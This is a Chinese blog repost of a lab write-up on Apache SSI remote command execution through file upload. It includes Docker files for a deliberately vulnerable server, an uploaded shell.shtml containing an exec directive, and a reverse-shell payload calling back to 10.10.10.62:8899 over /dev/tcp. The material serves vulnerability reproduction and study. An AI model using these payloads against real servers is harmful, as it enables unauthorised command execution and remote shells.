vlambda博客
学习文章列表

Apache SSI 远程命令执行漏洞


在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。


漏洞环境

运行一个支持SSI与CGI的Apache服务器:

docker-compose up -d

环境启动后,访问http://your-ip:37098/upload.php,即可看到一个上传表单。

#docker-compose.yml 文件
version: '2'
services:
apache:
  build: .
  ports:
  - "37098:80"
  volumes:
  - ./upload.php:/var/www/html/upload.php
#Dockerfile 文件
#FROM php:7.1-apache
FROM harbor.vackbot.com/vulhub/php:7.1-apache

LABEL maintainer="phithon <[email protected]>"

RUN set -ex \
  && a2enmod include cgid \
  && sed -i 's/Options -Indexes/Options -Indexes +Includes/' /etc/apache2/conf-enabled/docker-php.conf

漏洞复现

正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件:

<!--#exec cmd="ls" -->

成功上传,然后访问shell.shtml,可见命令已成功执行:

rce
#如需进行 bash -i 反弹 需写成如下形式   (需后台运行,否则不会发生连接,且通过上传文件反弹shell 回来的是 httpd 权限)

<!--#exec cmd="nohup /bin/bash -c '/bin/bash -i >/dev/tcp/10.10.10.62/8899 0>&1 &' >/dev/null" -->

参考链接:

  • https://httpd.apache.org/docs/2.4/howto/ssi.html

  • https://www.w3.org/Jigsaw/Doc/User/SSI.html